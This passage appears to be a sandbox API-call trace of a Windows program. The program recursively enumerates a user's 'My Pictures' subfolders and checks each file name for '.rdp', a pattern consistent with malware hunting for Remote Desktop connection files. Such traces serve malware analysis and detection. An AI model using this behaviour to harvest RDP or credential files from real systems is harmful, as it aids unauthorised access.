lpFileName="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\*.*", lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 0x642828 [0079.599] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.599] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.599] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.599] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.599] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.599] lstrcmpiA (lpString1=".", lpString2="LpqBcAEKO") returned -1 [0079.599] lstrcmpiA (lpString1="..", lpString2="LpqBcAEKO") returned -1 [0079.599] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx") returned 54 [0079.599] lstrlenA (lpString="\\") returned 1 [0079.599] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x643c28 [0079.599] lstrcpyA (in: lpString1=0x643c28, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx" [0079.600] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\" [0079.600] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\") returned 55 [0079.600] lstrlenA (lpString="LpqBcAEKO") returned 9 [0079.600] LocalAlloc (uFlags=0x40, uBytes=0xc1) returned 0x66b738 [0079.600] lstrcpyA (in: lpString1=0x66b738, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\" [0079.600] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\", lpString2="LpqBcAEKO" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\LpqBcAEKO") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\LpqBcAEKO" [0079.600] LocalFree (hMem=0x643c28) returned 0x0 [0079.600] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\LpqBcAEKO") returned 64 [0079.600] lstrlenA (lpString="\\*.*") returned 4 [0079.600] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x650450 [0079.600] lstrcpyA (in: lpString1=0x650450, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\LpqBcAEKO" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\LpqBcAEKO") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\LpqBcAEKO" [0079.600] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\LpqBcAEKO", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\LpqBcAEKO\\*.*") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\LpqBcAEKO\\*.*" [0079.600] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\LpqBcAEKO\\*.*", lpFindFileData=0x12f7de | out: lpFindFileData=0x12f7de) returned 0x642868 [0079.600] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.600] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7de | out: lpFindFileData=0x12f7de) returned 1 [0079.600] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.600] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.600] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7de | out: lpFindFileData=0x12f7de) returned 1 [0079.600] StrStrIA (lpFirst="1avEWBAc.bmp", lpSrch=".rdp") returned 0x0 [0079.600] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7de | out: lpFindFileData=0x12f7de) returned 1 [0079.600] StrStrIA (lpFirst="3XrtR5q6WS228vxvI.jpg", lpSrch=".rdp") returned 0x0 [0079.600] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7de | out: lpFindFileData=0x12f7de) returned 0 [0079.600] FindClose (in: hFindFile=0x642868 | out: hFindFile=0x642868) returned 1 [0079.600] LocalFree (hMem=0x650450) returned 0x0 [0079.600] LocalFree (hMem=0x66b738) returned 0x0 [0079.600] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.600] lstrcmpiA (lpString1=".", lpString2="MZN") returned -1 [0079.600] lstrcmpiA (lpString1="..", lpString2="MZN") returned -1 [0079.600] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx") returned 54 [0079.600] lstrlenA (lpString="\\") returned 1 [0079.600] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x643c28 [0079.600] lstrcpyA (in: lpString1=0x643c28, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx" [0079.601] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\" [0079.601] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\") returned 55 [0079.601] lstrlenA (lpString="MZN") returned 3 [0079.601] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x66b738 [0079.601] lstrcpyA (in: lpString1=0x66b738, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\" [0079.601] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\", lpString2="MZN" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN" [0079.601] LocalFree (hMem=0x643c28) returned 0x0 [0079.601] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN") returned 58 [0079.601] lstrlenA (lpString="\\*.*") returned 4 [0079.601] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x650450 [0079.601] lstrcpyA (in: lpString1=0x650450, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN" [0079.601] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\*.*") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\*.*" [0079.601] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\*.*", lpFindFileData=0x12f7de | out: lpFindFileData=0x12f7de) returned 0x642868 [0079.601] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.601] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7de | out: lpFindFileData=0x12f7de) returned 1 [0079.601] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.601] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.601] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7de | out: lpFindFileData=0x12f7de) returned 1 [0079.601] StrStrIA (lpFirst="c7TPbRY_mqEqeNl8.gif", lpSrch=".rdp") returned 0x0 [0079.601] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7de | out: lpFindFileData=0x12f7de) returned 1 [0079.601] lstrcmpiA (lpString1=".", lpString2="dlHinbb") returned -1 [0079.601] lstrcmpiA (lpString1="..", lpString2="dlHinbb") returned -1 [0079.601] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN") returned 58 [0079.601] lstrlenA (lpString="\\") returned 1 [0079.601] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x650518 [0079.601] lstrcpyA (in: lpString1=0x650518, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN" [0079.601] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\" [0079.601] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\") returned 59 [0079.601] lstrlenA (lpString="dlHinbb") returned 7 [0079.601] LocalAlloc (uFlags=0x40, uBytes=0xc3) returned 0x6505e0 [0079.601] lstrcpyA (in: lpString1=0x6505e0, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\" [0079.601] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\", lpString2="dlHinbb" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb" [0079.601] LocalFree (hMem=0x650518) returned 0x0 [0079.601] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb") returned 66 [0079.601] lstrlenA (lpString="\\*.*") returned 4 [0079.602] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x6506b0 [0079.602] lstrcpyA (in: lpString1=0x6506b0, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb" [0079.602] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\*.*") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\*.*" [0079.602] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\*.*", lpFindFileData=0x12f672 | out: lpFindFileData=0x12f672) returned 0x6428a8 [0079.602] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.602] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f672 | out: lpFindFileData=0x12f672) returned 1 [0079.602] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.602] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.602] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f672 | out: lpFindFileData=0x12f672) returned 1 [0079.602] StrStrIA (lpFirst="6u2c_hneORgzlDudqI6.jpg", lpSrch=".rdp") returned 0x0 [0079.602] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f672 | out: lpFindFileData=0x12f672) returned 1 [0079.602] StrStrIA (lpFirst="8JSAkbiNtgWEPG7PjbAY.jpg", lpSrch=".rdp") returned 0x0 [0079.602] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f672 | out: lpFindFileData=0x12f672) returned 1 [0079.602] StrStrIA (lpFirst="Ia_qHJ3.bmp", lpSrch=".rdp") returned 0x0 [0079.602] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f672 | out: lpFindFileData=0x12f672) returned 1 [0079.602] lstrcmpiA (lpString1=".", lpString2="UoOnOgOdk6dL") returned -1 [0079.602] lstrcmpiA (lpString1="..", lpString2="UoOnOgOdk6dL") returned -1 [0079.602] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb") returned 66 [0079.602] lstrlenA (lpString="\\") returned 1 [0079.602] LocalAlloc (uFlags=0x40, uBytes=0xc4) returned 0x650780 [0079.602] lstrcpyA (in: lpString1=0x650780, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb" [0079.602] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\" [0079.602] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\") returned 67 [0079.602] lstrlenA (lpString="UoOnOgOdk6dL") returned 12 [0079.602] LocalAlloc (uFlags=0x40, uBytes=0xd0) returned 0x6640d8 [0079.602] lstrcpyA (in: lpString1=0x6640d8, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\" [0079.602] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\", lpString2="UoOnOgOdk6dL" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL" [0079.602] LocalFree (hMem=0x650780) returned 0x0 [0079.602] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL") returned 79 [0079.602] lstrlenA (lpString="\\*.*") returned 4 [0079.602] LocalAlloc (uFlags=0x40, uBytes=0xd4) returned 0x65b5e8 [0079.602] lstrcpyA (in: lpString1=0x65b5e8, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL" [0079.602] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL\\*.*") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL\\*.*" [0079.602] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL\\*.*", lpFindFileData=0x12f506 | out: lpFindFileData=0x12f506) returned 0x6428e8 [0079.603] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.603] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f506 | out: lpFindFileData=0x12f506) returned 1 [0079.603] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.603] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.603] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f506 | out: lpFindFileData=0x12f506) returned 1 [0079.603] StrStrIA (lpFirst="0A9nHzXt0hwR.jpg", lpSrch=".rdp") returned 0x0 [0079.603] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f506 | out: lpFindFileData=0x12f506) returned 1 [0079.603] lstrcmpiA (lpString1=".", lpString2="fH744hgI0iOp") returned -1 [0079.603] lstrcmpiA (lpString1="..", lpString2="fH744hgI0iOp") returned -1 [0079.603] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL") returned 79 [0079.603] lstrlenA (lpString="\\") returned 1 [0079.603] LocalAlloc (uFlags=0x40, uBytes=0xd1) returned 0x65b6c8 [0079.603] lstrcpyA (in: lpString1=0x65b6c8, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL" [0079.603] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL\\" [0079.603] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL\\") returned 80 [0079.603] lstrlenA (lpString="fH744hgI0iOp") returned 12 [0079.603] lstrcpyA (in: lpString1=0x650780, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL\\" [0079.603] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL\\", lpString2="fH744hgI0iOp" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL\\fH744hgI0iOp") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL\\fH744hgI0iOp" [0079.603] LocalFree (hMem=0x65b6c8) returned 0x0 [0079.603] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL\\fH744hgI0iOp") returned 92 [0079.603] lstrlenA (lpString="\\*.*") returned 4 [0079.603] lstrcpyA (in: lpString1=0x64d460, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL\\fH744hgI0iOp" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL\\fH744hgI0iOp") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL\\fH744hgI0iOp" [0079.603] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL\\fH744hgI0iOp", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL\\fH744hgI0iOp\\*.*") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL\\fH744hgI0iOp\\*.*" [0079.603] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\MZN\\dlHinbb\\UoOnOgOdk6dL\\fH744hgI0iOp\\*.*", lpFindFileData=0x12f39a | out: lpFindFileData=0x12f39a) returned 0x642928 [0079.604] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0079.604] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f39a | out: lpFindFileData=0x12f39a) returned 1 [0079.604] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0079.604] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0079.604] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f39a | out: lpFindFileData=0x12f39a) returned 1 [0079.604] StrStrIA (lpFirst="MzzAgGzlagV.bmp", lpSrch=".rdp") returned 0x0 [0079.604] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f39a | out: lpFindFileData=0x12f39a) returned 0 [0079.604] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0079.604] LocalFree (hMem=0x64d460) returned 0x0 [0079.604] LocalFree (hMem=0x650780) returned 0x0 [0079.604] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f506 | out: lpFindFileData=0x12f506) returned 1 [0079.604] StrStrIA (lpFirst="MSCLMkB-Dsa.gif", lpSrch=".rdp") returned 0x0 [0079.604] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f506 | out: lpFindFileData=0x12f506) returned 1 [0079.604] StrStrIA (lpFirst="rGK ivPOKXIG3osjrqh.jpg", lpSrch=".rdp") returned 0x0 [0079.604] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f506 | out: lpFindFileData=0x12f506) returned 0 [0079.604] FindClose (in: hFindFile=0x6428e8 | out: hFindFile=0x6428e8) returned 1 [0079.604] LocalFree (hMem=0x65b5e8) returned 0x0 [0079.604] LocalFree (hMem=0x6640d8) returned 0x0 [0079.604] FindNextFileA (in: hFindFile=0x6428a8, lpFindFileData=0x12f672 | out: lpFindFileData=0x12f672) returned 0 [0079.604] FindClose (in: hFindFile=0x6428a8 | out: hFindFile=0x6428a8) returned 1 [0079.604] LocalFree (hMem=0x6506b0) returned 0x0 [0079.604] LocalFree (hMem=0x6505e0) returned 0x0 [0079.604] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7de | out: lpFindFileData=0x12f7de) returned 1 [0079.604] StrStrIA (lpFirst="gnELorQjBy.png", lpSrch=".rdp") returned 0x0 [0079.604] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7de | out: lpFindFileData=0x12f7de) returned 1 [0079.604] StrStrIA (lpFirst="ypPSitIQQ.gif", lpSrch=".rdp") returned 0x0 [0079.604] FindNextFileA (in: hFindFile=0x642868, lpFindFileData=0x12f7de | out: lpFindFileData=0x12f7de) returned 0 [0079.604] FindClose (in: hFindFile=0x642868 | out: hFindFile=0x642868) returned 1 [0079.605] LocalFree (hMem=0x650450) returned 0x0 [0079.605] LocalFree (hMem=0x66b738) returned 0x0 [0079.605] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.605] StrStrIA (lpFirst="or8EK2Z4kpU.bmp", lpSrch=".rdp") returned 0x0 [0079.605] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f94a | out: lpFindFileData=0x12f94a) returned 1 [0079.605] lstrcmpiA (lpString1=".", lpString2="ouo1CE9Vu1S-") returned -1 [0079.605] lstrcmpiA (lpString1="..", lpString2="ouo1CE9Vu1S-") returned -1 [0079.605] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx") returned 54 [0079.605] lstrlenA (lpString="\\") returned 1 [0079.605] lstrcpyA (in: lpString1=0x643c28, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx" [0079.605] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\" [0079.605] lstrlenA (lpString="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\") returned 55 [0079.605] lstrlenA (lpString="ouo1CE9Vu1S-") returned 12 [0079.605] lstrcpyA (in: lpString1=0x66b738, lpString2="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\") returned="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\" [0079.605] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\", lpString2="ouo1CE9Vu1S-" | out: lpString1="C:\\Users\\EEBsYm5\\Documents\\My Pictures\\vi9vB0qE6\\kbeRx\\ouo1CE9Vu1S-") 